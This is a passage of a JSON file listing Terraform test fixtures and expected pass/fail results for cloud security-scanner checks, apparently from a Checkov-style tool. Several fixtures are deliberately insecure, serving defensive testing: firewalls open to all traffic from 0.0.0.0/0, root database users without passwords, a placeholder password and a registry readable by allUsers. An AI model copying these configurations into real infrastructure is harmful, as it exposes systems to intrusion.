    "content": "resource \"azurerm_databricks_workspace\" \"databricks_workspace_bad\" {\n  name                        = \"example\"\n  location                    = \"location\"\n  resource_group_name         = \"group\"\n  sku                         = \"premium\"\n  managed_resource_group_name = \"example\"\n}\n\n\nresource \"azurerm_databricks_workspace\" \"databricks_workspace_good\" {\n  name                        = \"example\"\n  location                    = \"location\"\n  resource_group_name         = \"group\"\n  sku                         = \"premium\"\n  managed_resource_group_name = \"example\"\n  customer_managed_key_enabled = true\n}\n\nresource \"azurerm_databricks_workspace_root_dbfs_customer_managed_key\" \"databricks_workspace_good\" {\n  workspace_id     = azurerm_databricks_workspace.databricks_workspace_good.id\n  key_vault_key_id = \"123456\"\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/DisableAccessToSqlDBInstanceForRootUsersWithoutPassword/expected.yaml",
    "content": "pass:\n  - \"google_sql_database_instance.db_instance_good_1\"\n  - \"google_sql_database_instance.db_instance_good_2\"\n  - \"google_sql_database_instance.db_instance_good_3_no_pass\"\nfail:\n  - \"google_sql_database_instance.db_instance_bad\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/DisableAccessToSqlDBInstanceForRootUsersWithoutPassword/main.tf",
    "content": "resource \"random_id\" \"db_name_suffix\" {\n  byte_length = 4\n}\n\nresource \"google_sql_database_instance\" \"db_instance_good_1\" {\n  name = \"master-instance-${random_id.db_name_suffix.hex}\"\n  database_version = \"MYSQL_8_0\"\n\n  settings {\n    tier = \"db-f1-micro\"\n  }\n}\n\nresource \"google_sql_database_instance\" \"db_instance_good_2\" {\n  name = \"master-instance-${random_id.db_name_suffix.hex}\"\n  database_version = \"MYSQL_8_0\"\n\n  settings {\n    tier = \"db-f1-micro\"\n  }\n}\n\nresource \"google_sql_database_instance\" \"db_instance_good_3_no_pass\" {\n  name = \"master-instance-${random_id.db_name_suffix.hex}\"\n  database_version = \"POSTGRES_13\"\n\n  settings {\n    tier = \"db-f1-micro\"\n  }\n}\n\n\nresource \"google_sql_database_instance\" \"db_instance_bad\" {\n  name = \"master-instance-${random_id.db_name_suffix.hex}\"\n  database_version = \"MYSQL_8_0\"\n\n  settings {\n    tier = \"db-f1-micro\"\n  }\n}\n\n\nresource \"google_sql_user\" \"root_good\" {\n  name     = \"root\"\n  instance = google_sql_database_instance.db_instance_good_1.name\n  host     = \"me.com\"\n  password = \"1234\"\n}\n\nresource \"google_sql_user\" \"root_good_3\" {\n  name     = \"root\"\n  instance = google_sql_database_instance.db_instance_good_3_no_pass.name\n  host     = \"me.com\"\n}\n\nresource \"google_sql_user\" \"root_bad\" {\n  name     = \"root@#\"\n  instance = google_sql_database_instance.db_instance_bad.name\n  host     = \"me.com\"\n}\n\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/EBSAddedBackup/expected.yaml",
    "content": "pass:\n  - \"aws_ebs_volume.ebs_good\"\nfail:\n  - \"aws_ebs_volume.ebs_bad\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/EBSAddedBackup/main.tf",
    "content": "resource \"aws_ebs_volume\" \"ebs_good\" {\n  availability_zone = \"us-west-2a\"\n  size              = 40\n\n  tags = {\n    Name = \"HelloWorld\"\n  }\n}\n\nresource \"aws_ebs_volume\" \"ebs_bad\" {\n  availability_zone = \"us-west-2a\"\n  size              = 40\n\n  tags = {\n    Name = \"HelloWorld\"\n  }\n}\n\nresource \"aws_backup_selection\" \"backup_good\" {\n  iam_role_arn = \"arn\"\n  name         = \"tf_example_backup_selection\"\n  plan_id      = \"123456\"\n\n  resources = [\n    aws_ebs_volume.ebs_good.arn\n  ]\n}\n\nresource \"aws_backup_selection\" \"backup_bad\" {\n  iam_role_arn = \"arn\"\n  name         = \"tf_example_backup_selection\"\n  plan_id      = \"123456\"\n\n  resources = [\n  ]\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/EC2InstanceHasIAMRoleAttached/expected.yaml",
    "content": "pass:\n  - \"aws_instance.pass\"\nfail:\n  - \"aws_instance.fail\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/EC2InstanceHasIAMRoleAttached/main.tf",
    "content": "resource \"aws_instance\" \"pass\" {\n  ami           = \"ami-005e54dee72cc1d00\" # us-west-2\n  instance_type = \"t2.micro\"\n  iam_instance_profile = \"test\"\n\n  network_interface {\n    network_interface_id = aws_network_interface.foo.id\n    device_index         = 0\n  }\n\n  credit_specification {\n    cpu_credits = \"unlimited\"\n  }\n}\n\nresource \"aws_instance\" \"fail\" {\n  ami           = \"ami-005e54dee72cc1d00\"\n  instance_type = \"t2.micro\"\n\n  network_interface {\n    network_interface_id = aws_network_interface.foo.id\n    device_index         = 0\n  }\n\n  credit_specification {\n    cpu_credits = \"unlimited\"\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/EFSAddedBackup/expected.yaml",
    "content": "pass:\n  - \"aws_efs_file_system.ok_efs\"\nfail:\n  - \"aws_efs_file_system.not_ok_efs\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/EFSAddedBackup/main.tf",
    "content": "resource \"aws_backup_plan\" \"example\" {\n  name = \"tf_example_backup_plan\"\n\n  rule {\n    rule_name         = \"tf_example_backup_rule\"\n    target_vault_name = aws_backup_vault.test.name\n    schedule          = \"cron(0 12 * * ? *)\"\n  }\n\n  advanced_backup_setting {\n    backup_options = {\n      WindowsVSS = \"enabled\"\n    }\n    resource_type = \"EC2\"\n  }\n}\n\nresource \"aws_backup_selection\" \"ok_backup\" {\n  iam_role_arn = aws_iam_role.example.arn\n  name         = \"tf_example_backup_selection\"\n  plan_id      = aws_backup_plan.example.id\n\n  resources = [\n    aws_db_instance.example.arn,\n    aws_ebs_volume.example.arn,\n    aws_efs_file_system.ok_efs.arn,\n  ]\n}\n\nresource \"aws_efs_file_system\" \"ok_efs\" {\n  creation_token = \"my-product\"\n\n  tags = {\n    Name = \"MyProduct\"\n  }\n}\n\nresource \"aws_backup_selection\" \"not_ok_backup\" {\n  iam_role_arn = aws_iam_role.example.arn\n  name         = \"tf_example_backup_selection\"\n  plan_id      = aws_backup_plan.example.id\n\n  resources = [\n    aws_db_instance.example.arn,\n    aws_ebs_volume.example.arn\n  ]\n}\n\nresource \"aws_efs_file_system\" \"not_ok_efs\" {\n  creation_token = \"my-product\"\n\n  tags = {\n    Name = \"MyProduct\"\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/EFSAddedBackupSuppress/expected.yaml",
    "content": "pass:\n  - \"aws_efs_file_system.ok_efs\"\nskip:\n  - \"aws_efs_file_system.not_ok_efs\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/EFSAddedBackupSuppress/main.tf",
    "content": "resource \"aws_backup_plan\" \"example\" {\n  name = \"tf_example_backup_plan\"\n\n  rule {\n    rule_name         = \"tf_example_backup_rule\"\n    target_vault_name = aws_backup_vault.test.name\n    schedule          = \"cron(0 12 * * ? *)\"\n  }\n\n  advanced_backup_setting {\n    backup_options = {\n      WindowsVSS = \"enabled\"\n    }\n    resource_type = \"EC2\"\n  }\n}\n\nresource \"aws_backup_selection\" \"ok_backup\" {\n  iam_role_arn = aws_iam_role.example.arn\n  name         = \"tf_example_backup_selection\"\n  plan_id      = aws_backup_plan.example.id\n\n  resources = [\n    aws_db_instance.example.arn,\n    aws_ebs_volume.example.arn,\n    aws_efs_file_system.ok_efs.arn,\n  ]\n}\n\nresource \"aws_backup_selection\" \"not_ok_backup\" {\n  iam_role_arn = aws_iam_role.example.arn\n  name         = \"tf_example_backup_selection\"\n  plan_id      = aws_backup_plan.example.id\n\n  resources = [\n    aws_db_instance.example.arn,\n    aws_ebs_volume.example.arn\n  ]\n}\n\nresource \"aws_efs_file_system\" \"ok_efs\" {\n  creation_token = \"my-product\"\n\n  tags = {\n    Name = \"MyProduct\"\n  }\n}\n\nresource \"aws_efs_file_system\" \"not_ok_efs\" {\n  # checkov:skip=CKV2_AWS_18:Skip test\n  creation_token = \"my-product\"\n\n  tags = {\n    Name = \"MyProduct\"\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/EIPAllocatedToVPCAttachedEC2/expected.yaml",
    "content": "pass:\n  - \"aws_eip.ok_eip\"\n  - \"aws_eip.ok_eip_assoc\"\n  - \"aws_eip.ok_eip_nat\"\n  - \"aws_eip.eip_ok_transer_server\"\n  - \"aws_eip.ok_eip_domain\"\n  - \"aws_eip.ok_eip_domain_assoc\"\nfail:\n  - \"aws_eip.not_ok_eip\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/EIPAllocatedToVPCAttachedEC2/main.tf",
    "content": "resource \"aws_eip\" \"ok_eip\" {\n  instance = aws_instance.ec2.id\n  vpc      = true\n}\n\nresource \"aws_instance\" \"ec2\" {\n  ami               = \"ami-21f78e11\"\n  availability_zone = \"us-west-2a\"\n  instance_type     = \"t2.micro\"\n\n  tags = {\n    Name = \"HelloWorld\"\n  }\n}\n\nresource \"aws_eip\" \"not_ok_eip\" {\n  vpc                       = true\n  network_interface         = aws_network_interface.multi-ip.id\n  associate_with_private_ip = \"10.0.0.10\"\n}\n\n# eip with domain attribute\n\nresource \"aws_eip\" \"ok_eip_domain\" {\n  instance = aws_instance.ok_eip_domain.id\n  domain   = \"vpc\"\n}\n\nresource \"aws_instance\" \"ok_eip_domain\" {\n  ami               = \"ami-21f78e11\"\n  availability_zone = \"us-west-2a\"\n  instance_type     = \"t2.micro\"\n\n  tags = {\n    Name = \"HelloWorld\"\n  }\n}\n\n# via aws_eip_association\n\nresource \"aws_eip_association\" \"eip_assoc\" {\n  instance_id   = aws_instance.ec2_assoc.id\n  allocation_id = aws_eip.ok_eip_assoc.id\n}\n\nresource \"aws_instance\" \"ec2_assoc\" {\n  ami               = \"ami-21f78e11\"\n  availability_zone = \"us-west-2a\"\n  instance_type     = \"t2.micro\"\n\n  tags = {\n    Name = \"Assoc\"\n  }\n}\n\nresource \"aws_eip\" \"ok_eip_domain_assoc\" {\n  domain = \"vpc\"\n}\n\nresource \"aws_eip_association\" \"eip_domain_assoc\" {\n  instance_id   = aws_instance.ec_domain2_assoc.id\n  allocation_id = aws_eip.ok_eip_domain_assoc.id\n}\n\nresource \"aws_instance\" \"ec_domain2_assoc\" {\n  ami               = \"ami-21f78e11\"\n  availability_zone = \"us-west-2a\"\n  instance_type     = \"t2.micro\"\n\n  tags = {\n    Name = \"Assoc\"\n  }\n}\n\nresource \"aws_eip\" \"ok_eip_assoc\" {\n  vpc = true\n}\n\n# via aws_nat_gateway\n\nresource \"aws_eip\" \"ok_eip_nat\" {\n  vpc = true\n}\n\nresource \"aws_nat_gateway\" \"ok_eip_nat\" {\n  allocation_id = aws_eip.ok_eip_nat.id\n  subnet_id     = \"aws_subnet.public.id\"\n}\n\nresource \"aws_transfer_server\" \"transfer_server_vpc\" {\n  count                        = local.count\n  identity_provider_type       = \"SERVICE_MANAGED\"\n  endpoint_type                = \"VPC\"\n\n  endpoint_details {\n    address_allocation_ids     = aws_eip.eip_ok_transer_server.*.id[count.index]\n  }\n}\n\nresource \"aws_eip\" \"eip_ok_transer_server\" {\n  count = local.count\n  vpc   = true\n}\n\nresource \"aws_eip\" \"ok_eip_module\" {\n  count    = 1\n  instance = module.example[count.index].instance_id\n  vpc      = true\n}\n\nresource \"aws_eip\" \"ok_eip_data\" {\n  instance = data.aws_instance.id\n  vpc      = true\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/EMRClusterHasSecurityConfiguration/expected.yaml",
    "content": "pass:\n  - \"aws_emr_cluster.pass\"\nfail:\n  - \"aws_emr_cluster.fail\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/EMRClusterHasSecurityConfiguration/main.tf",
    "content": "resource \"aws_emr_cluster\" \"pass\" {\n  # ... other configuration ...\n\n  # EMR version must be 5.23.0 or later\n  release_label = \"emr-5.24.1\"\n\n  security_configuration = \"example\"\n\n  # Termination protection is automatically enabled for multiple masters\n  # To destroy the cluster, this must be configured to false and applied first\n  termination_protection = true\n\n  ec2_attributes {\n    # ... other configuration ...\n\n    subnet_id = aws_subnet.example.id\n  }\n\n  master_instance_group {\n    # ... other configuration ...\n\n    # Master instance count must be set to 3\n    instance_count = 3\n  }\n\n  # core_instance_group must be configured\n  core_instance_group {\n    # ... other configuration ...\n  }\n}\n\nresource \"aws_emr_cluster\" \"fail\" {\n  # ... other configuration ...\n\n  # EMR version must be 5.23.0 or later\n  release_label = \"emr-5.24.1\"\n\n  # Termination protection is automatically enabled for multiple masters\n  # To destroy the cluster, this must be configured to false and applied first\n  termination_protection = true\n\n  ec2_attributes {\n    # ... other configuration ...\n\n    subnet_id = aws_subnet.example.id\n  }\n\n  master_instance_group {\n    # ... other configuration ...\n\n    # Master instance count must be set to 3\n    instance_count = 3\n  }\n\n  # core_instance_group must be configured\n  core_instance_group {\n    # ... other configuration ...\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/ElastiCacheRedisConfiguredAutomaticFailOver/expected.yaml",
    "content": "fail:\n  - \"aws_elasticache_replication_group.fail_1\"\n  - \"aws_elasticache_replication_group.fail_2\"\npass:\n  - \"aws_elasticache_replication_group.pass\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/ElastiCacheRedisConfiguredAutomaticFailOver/main.tf",
    "content": "resource \"aws_elasticache_replication_group\" \"pass\" {\n  automatic_failover_enabled  = true\n  preferred_cache_cluster_azs = [\"us-west-2a\", \"us-west-2b\"]\n  replication_group_id        = \"tf-rep-group-1\"\n  description                 = \"example description\"\n  node_type                   = \"cache.m4.large\"\n  num_cache_clusters          = 2\n  parameter_group_name        = \"default.redis3.2\"\n  port                        = 6379\n}\n\nresource \"aws_elasticache_replication_group\" \"fail_1\" {\n  preferred_cache_cluster_azs = [\"us-west-2a\", \"us-west-2b\"]\n  replication_group_id        = \"tf-rep-group-1\"\n  description                 = \"example description\"\n  node_type                   = \"cache.m4.large\"\n  num_cache_clusters          = 2\n  parameter_group_name        = \"default.redis3.2\"\n  port                        = 6379\n}\n\nresource \"aws_elasticache_replication_group\" \"fail_2\" {\n  automatic_failover_enabled  = false\n  preferred_cache_cluster_azs = [\"us-west-2a\", \"us-west-2b\"]\n  replication_group_id        = \"tf-rep-group-1\"\n  description                 = \"example description\"\n  node_type                   = \"cache.m4.large\"\n  num_cache_clusters          = 2\n  parameter_group_name        = \"default.redis3.2\"\n  port                        = 6379\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/ElasticSearchDedicatedMasterEnabled/expected.yaml",
    "content": "pass:\n  - \"aws_elasticsearch_domain.pass\"\nfail:\n  - \"aws_elasticsearch_domain.fail\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/ElasticSearchDedicatedMasterEnabled/main.tf",
    "content": "# PASS case\n\nresource \"aws_elasticsearch_domain\" \"pass\" {\n  domain_name           = \"example\"\n  elasticsearch_version = \"7.10\"\n\n  cluster_config {\n    instance_type = \"r4.large.elasticsearch\"\n    dedicated_master_enabled = true\n  }\n\n  tags = {\n    Domain = \"TestDomain\"\n  }\n}\n\n# FAIL case\n\nresource \"aws_elasticsearch_domain\" \"fail\" {\n  domain_name           = \"example\"\n  elasticsearch_version = \"7.10\"\n\n  cluster_config {\n    instance_type = \"r4.large.elasticsearch\"\n    dedicated_master_enabled = false\n  }\n\n  tags = {\n    Domain = \"TestDomain\"\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/EncryptedEBSVolumeOnlyConnectedToEC2s/expected.yaml",
    "content": "pass:\n  - \"aws_ebs_volume.ok_ebs1\"\n  - \"aws_ebs_volume.ok_ebs2\"\n\n\nfail:\n  - \"aws_ebs_volume.not_ok_ebs1\"\n  - \"aws_ebs_volume.not_ok_ebs2\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/EncryptedEBSVolumeOnlyConnectedToEC2s/main.tf",
    "content": "resource \"aws_instance\" \"web\" {\n  ami               = \"ami-21f78e11\"\n  availability_zone = \"us-west-2a\"\n  instance_type     = \"t2.micro\"\n\n  tags = {\n    Name = \"HelloWorld\"\n  }\n}\n\nresource \"aws_volume_attachment\" \"not_ok_attachment1\" {\n  device_name = \"/dev/sdh\"\n  volume_id   = aws_ebs_volume.not_ok_ebs1.id\n  instance_id = aws_instance.web.id\n}\n\nresource \"aws_volume_attachment\" \"not_ok_attachment2\" {\n  device_name = \"/dev/sdh2\"\n  volume_id   = aws_ebs_volume.not_ok_ebs2.id\n  instance_id = aws_instance.web.id\n}\n\nresource \"aws_volume_attachment\" \"ok_attachment1\" {\n  device_name = \"/dev/sdh3\"\n  volume_id   = aws_ebs_volume.ok_ebs2.id\n  instance_id = aws_instance.web.id\n}\n\nresource \"aws_ebs_volume\" \"not_ok_ebs1\" {\n  availability_zone = \"\"\n}\n\nresource \"aws_ebs_volume\" \"not_ok_ebs2\" {\n  availability_zone = \"\"\n  encrypted = false\n}\n\nresource \"aws_ebs_volume\" \"ok_ebs1\" {\n  availability_zone = \"\"\n}\n\nresource \"aws_ebs_volume\" \"ok_ebs2\" {\n  availability_zone = \"\"\n  encrypted = true\n}\n\n\nresource \"aws_volume_attachment\" \"ebs_at1\" {\n  device_name = \"/dev/sdh\"\n  volume_id   = aws_ebs_volume.not_ok_ebs1.id\n  instance_id = aws_instance.web.id\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPAuditLogsConfiguredForAllServicesAndUsers/expected.yaml",
    "content": "pass:\n  - \"google_project.project_good_1\"\n  - \"google_project.project_good_2\"\n\nfail:\n  - \"google_project.project_bad_1\"\n  - \"google_project.project_bad_2\"\n  - \"google_project.project_bad_3\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPAuditLogsConfiguredForAllServicesAndUsers/main.tf",
    "content": "resource \"google_project\" \"project_good_1\" {\n  name = \"good1\"\n  project_id = \"123456\"\n}\n\nresource \"google_project\" \"project_good_2\" {\n  name = \"good2\"\n  project_id = \"123456\"\n}\n\nresource \"google_project\" \"project_bad_1\" {\n  name = \"bad1\"\n  project_id = \"123456\"\n}\n\nresource \"google_project\" \"project_bad_2\" {\n  name = \"bad2\"\n  project_id = \"123456\"\n}\n\nresource \"google_project\" \"project_bad_3\" {\n  name = \"bad3\"\n  project_id = \"123456\"\n}\n\nresource \"google_project_iam_audit_config\" \"project_good_audit_2\" {\n  project = google_project.project_good_1.id\n  service = \"allServices\"\n  audit_log_config {\n    log_type = \"ADMIN_READ\"\n  }\n  audit_log_config {\n    log_type = \"DATA_READ\"\n  }\n}\n\nresource \"google_project_iam_audit_config\" \"project_good_audit_2\" {\n  project = google_project.project_good_2.id\n  service = \"allServices\"\n  audit_log_config {\n    exempted_members = []\n    log_type = \"ADMIN_READ\"\n  }\n  audit_log_config {\n    exempted_members = []\n    log_type = \"DATA_READ\"\n  }\n}\n\nresource \"google_project_iam_audit_config\" \"project_bad_audit_1\" {\n  project = google_project.project_bad_1.id\n  service = \"allServices\"\n  audit_log_config {\n    log_type = \"ADMIN_READ\"\n  }\n  audit_log_config {\n    log_type = \"DATA_READ\"\n    exempted_members = [\n      \"user:joebloggs@hashicorp.com\",\n    ]\n  }\n}\n\nresource \"google_project_iam_audit_config\" \"project_bad_audit_2\" {\n  project = google_project.project_bad_2.id\n  service = \"someService\"\n  audit_log_config {\n    log_type = \"ADMIN_READ\"\n  }\n  audit_log_config {\n    log_type = \"DATA_READ\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPComputeFirewallOverlyPermissiveToAllTraffic/expected.yaml",
    "content": "pass:\n  - \"google_compute_firewall.compute-firewall-ok-1\"\n  - \"google_compute_firewall.compute-firewall-ok-2\"\n  - \"google_compute_firewall.compute-firewall-ok-3\"\n  - \"google_compute_firewall.pass_source_ranges\"\nfail:\n  - \"google_compute_firewall.compute-firewall-not-ok-1\"\n  - \"google_compute_firewall.compute-firewall-not-ok-2\"\n  - \"google_compute_firewall.compute-firewall-not-ok-3\"\n  - \"google_compute_firewall.compute-firewall-not-ok-4\"\n  - \"google_compute_firewall.fail_source_ranges\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPComputeFirewallOverlyPermissiveToAllTraffic/main.tf",
    "content": "resource \"google_compute_network\" \"example\" {\n  name = \"example\"\n  auto_create_subnetworks = false\n}\n\n#case1 - PASS - deny protocol\nresource \"google_compute_firewall\" \"compute-firewall-ok-1\" {\n  name    = \"compute-firewall-ok-1\"\n  network = google_compute_network.example.name\n\n  deny {\n    protocol = \"all\"\n  }\n  source_ranges = [\"0.0.0.0/0\"]\n  disabled = false\n}\n\n#case2 - PASS because disabled\nresource \"google_compute_firewall\" \"compute-firewall-ok-2\" {\n  name    = \"compute-firewall-ok-2\"\n  network = google_compute_network.example.name\n\n  allow {\n    protocol = \"all\"\n  }\n  source_ranges = [\"::/0\"]\n  disabled = true\n}\n\n#case3 - PASS\nresource \"google_compute_firewall\" \"compute-firewall-ok-3\" {\n  name    = \"compute-firewall-ok-3\"\n  network = google_compute_network.example.name\n\n  allow {\n    protocol = \"tcp\"\n    ports = [\"140\"]\n  }\n  source_ranges = [\"0.0.0.0\", \"192.168.2.0\"]\n  disabled = false\n}\n\n#case4 - FAIL\nresource \"google_compute_firewall\" \"compute-firewall-not-ok-1\" {\n  name    = \"compute-firewall-not-ok-1\"\n  network = google_compute_network.example.name\n\n  allow {\n    protocol = \"all\"\n  }\n  source_ranges = [\"::/0\"]\n  disabled = false\n}\n\n#case5 - FAIL\nresource \"google_compute_firewall\" \"compute-firewall-not-ok-2\" {\n  name    = \"compute-firewall-not-ok-2\"\n  network = google_compute_network.example.name\n\n  allow {\n    protocol = \"all\"\n  }\n  source_ranges = [\"0.0.0.0\", \"192.168.2.0\"]\n  disabled = false\n}\n\n#case6 - FAIL\nresource \"google_compute_firewall\" \"compute-firewall-not-ok-3\" {\n  name    = \"compute-firewall-not-ok-3\"\n  network = google_compute_network.example.name\n\n  allow {\n    protocol = \"all\"\n  }\n  source_ranges = [\"0.0.0.0/0\"]\n  disabled = false\n}\n\n#case7 - FAIL\nresource \"google_compute_firewall\" \"compute-firewall-not-ok-4\" {\n  name    = \"compute-firewall-not-ok-4\"\n  network = google_compute_network.example.name\n\n  allow {\n    protocol = \"all\"\n  }\n  source_ranges = [\"::0\"]\n  disabled = false\n}\n\n# pass - source_ranges is ok\nresource \"google_compute_firewall\" \"pass_source_ranges\" {\n  name        = \"pass_source_ranges\"\n  network     = \"foo\"\n  project     = \"foo\"\n  direction   = \"INGRESS\"\n  disabled    = false\n  description = \"foo\"\n  priority    = 0\n  allow {\n    protocol = \"all\"\n  }\n  source_ranges = [\n    \"10.10.10.10/24\",\n    \"10.11.10.10/24\"\n  ]\n}\n\n# fail - source_ranges is not ok\nresource \"google_compute_firewall\" \"fail_source_ranges\" {\n  name        = \"pass_source_ranges\"\n  network     = \"foo\"\n  project     = \"foo\"\n  direction   = \"INGRESS\"\n  disabled    = false\n  description = \"foo\"\n  priority    = 0\n  allow {\n    protocol = \"all\"\n  }\n  source_ranges = [\n    \"10.10.10.10/24\",\n    \"10.11.10.10/24\",\n    \"0.0.0.0/0\"\n  ]\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPComputeGlobalForwardingRuleCheck/expected.yaml",
    "content": "pass:\n  - \"google_compute_global_forwarding_rule.pass_nothttp\"\n  - \"google_compute_global_forwarding_rule.pass_not_external\"\nfail:\n  - \"google_compute_global_forwarding_rule.fail\"\n  - \"google_compute_global_forwarding_rule.fail_missing_lbscheme\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPComputeGlobalForwardingRuleCheck/main.tf",
    "content": "resource \"google_compute_global_forwarding_rule\" \"fail\" {\n  name                  = \"passing-forwarding-rule\"\n  load_balancing_scheme = \"EXTERNAL\"\n  target                = \"https://www.googleapis.com/compute/v1/projects/my-project/global/targetHttpProxies/my-target-proxy\"\n\n  // Additional required configuration as needed...\n}\n\nresource \"google_compute_global_forwarding_rule\" \"pass_not_external\" {\n  name                  = \"passing-forwarding-rule\"\n  load_balancing_scheme = \"INTERNAL_SELF_MANAGED\"\n  target                = \"https://www.googleapis.com/compute/v1/projects/my-project/global/targetHttpProxies/my-target-proxy\"\n\n  // Additional required configuration as needed...\n}\n\nresource \"google_compute_global_forwarding_rule\" \"pass_nothttp\" {\n  name                  = \"failing-forwarding-rule\"\n  load_balancing_scheme = \"EXTERNAL\"\n  target                = \"https://www.googleapis.com/compute/v1/projects/my-project/global/targetSslProxies/my-target-proxy\"\n\n  // Additional required configuration as needed...\n}\n\nresource \"google_compute_global_forwarding_rule\" \"fail_missing_lbscheme\" {\n  name                  = \"failing-forwarding-rule\"\n  # load_balancing_scheme = \"EXTERNAL\" # Default is EXTERNAL\n  target                = \"https://www.googleapis.com/compute/v1/projects/my-project/global/targetHttpProxies/my-target-proxy\"\n\n  // Additional required configuration as needed...\n}\n\nresource \"google_compute_global_forwarding_rule\" \"default\" {\n  name                  = \"l7-xlb-forwarding-rule\"\n  provider              = google-beta\n  ip_protocol           = \"TCP\"\n  load_balancing_scheme = \"EXTERNAL\"\n  port_range            = \"80\"\n  target                = google_compute_target_http_proxy.default.id\n  ip_address            = google_compute_global_address.default.id\n}\n\n# http proxy\nresource \"google_compute_target_http_proxy\" \"default\" {\n  name     = \"l7-xlb-target-http-proxy\"\n  provider = google-beta\n  url_map  = google_compute_url_map.default.id\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPComputeRegionalForwardingRuleCheck/expected.yaml",
    "content": "pass:\n  - \"google_compute_forwarding_rule.pass\"\nfail:\n  - \"google_compute_forwarding_rule.fail\"\n  - \"google_compute_forwarding_rule.fail_missing_lbscheme\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPComputeRegionalForwardingRuleCheck/main.tf",
    "content": "resource \"google_compute_forwarding_rule\" \"fail\" {\n  name                  = \"passing-forwarding-rule\"\n  region                = \"us-central1\"\n  load_balancing_scheme = \"EXTERNAL\"\n  target                = \"https://www.googleapis.com/compute/v1/projects/my-project/global/targetHttpProxies/my-target-proxy\"\n\n  // Additional required configuration as needed...\n}\n\nresource \"google_compute_forwarding_rule\" \"pass\" {\n  name                  = \"failing-forwarding-rule\"\n  region                = \"us-central1\"\n  load_balancing_scheme = \"EXTERNAL\"\n  target                = \"https://www.googleapis.com/compute/v1/projects/my-project/global/targetSslProxies/my-target-proxy\"\n\n  // Additional required configuration as needed...\n}\n\nresource \"google_compute_forwarding_rule\" \"fail_missing_lbscheme\" {\n  name                  = \"failing-forwarding-rule\"\n  region                = \"us-central1\"\n  # load_balancing_scheme = \"EXTERNAL\" # Default is EXTERNAL\n  target                = \"https://www.googleapis.com/compute/v1/projects/my-project/global/targetHttpProxies/my-target-proxy\"\n\n  // Additional required configuration as needed...\n}\n\nresource \"google_compute_forwarding_rule\" \"fail2\" {\n  name                  = \"l7-ilb-forwarding-rule\"\n  provider              = google-beta\n  region                = \"europe-west1\"\n  depends_on            = [google_compute_subnetwork.proxy_subnet]\n  ip_protocol           = \"TCP\"\n  load_balancing_scheme = \"EXTERNAL\"\n  port_range            = \"80\"\n  target                = google_compute_region_target_http_proxy.default.id\n  network               = google_compute_network.ilb_network.id\n  subnetwork            = google_compute_subnetwork.ilb_subnet.id\n  network_tier          = \"PREMIUM\"\n}\n\nresource \"google_compute_region_target_http_proxy\" \"default\" {\n  name     = \"l7-ilb-target-http-proxy\"\n  provider = google-beta\n  region   = \"europe-west1\"\n  url_map  = google_compute_region_url_map.default.id\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPContainerRegistryReposAreNotPubliclyAccessible/expected.yaml",
    "content": "pass:\n  - \"google_container_registry.pass1\"\n  - \"google_container_registry.pass2\"\n  - \"google_container_registry.pass3\"\n  - \"google_container_registry.pass4\"\nfail:\n  - \"google_container_registry.fail1\"\n  - \"google_container_registry.fail2\"\n  - \"google_container_registry.fail3\"\n  - \"google_container_registry.fail4\"\n  - \"google_container_registry.fail5\"\n  - \"google_container_registry.fail6\"\n  - \"google_container_registry.fail7\"\n  - \"google_container_registry.fail8\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPContainerRegistryReposAreNotPubliclyAccessible/main.tf",
    "content": "resource \"google_container_registry\" \"pass1\" {\n  project  = \"my-project\"\n  location = \"EU\"\n}\n\nresource \"google_storage_bucket_iam_member\" \"pass1_member\" {\n  bucket = google_container_registry.pass1.id\n  role = \"roles/storage.objectViewer\"\n  member = \"user:jason@example.com\"\n}\n\nresource \"google_container_registry\" \"pass2\" {\n  project  = \"my-project\"\n  location = \"EU\"\n}\n\nresource \"google_storage_bucket_iam_member\" \"pass2_member\" {\n  bucket = google_container_registry.pass2.id\n  role = \"roles/storage.objectViewer\"\n  member = \"group:my-group@example.com\"\n}\n\nresource \"google_container_registry\" \"pass3\" {\n  project  = \"my-project\"\n  location = \"US\"\n}\n\nresource \"google_storage_bucket_iam_binding\" \"pass3_binding\" {\n  bucket = google_container_registry.pass3.id\n  role = \"roles/storage.admin\"\n  members = [\n    \"user:jane@example.com\",\n  ]\n}\n\nresource \"google_container_registry\" \"pass4\" {\n  project  = \"my-project\"\n  location = \"US\"\n}\n\nresource \"google_storage_bucket_iam_binding\" \"pass4_binding\" {\n  bucket = google_container_registry.pass4.id\n  role = \"roles/storage.admin\"\n  members = [\n    \"user:jane@example.com\",\n    \"domain:example.com\",\n    \"group:my-group@example.com\",\n  ]\n}\n\nresource \"google_container_registry\" \"fail1\" {\n  project  = \"my-project\"\n  location = \"EU\"\n}\n\nresource \"google_storage_bucket_iam_member\" \"fail1_member\" {\n  bucket = google_container_registry.fail1.id\n  role = \"roles/storage.objectViewer\"\n  member = \"allUsers\"\n}\n\nresource \"google_container_registry\" \"fail2\" {\n  project  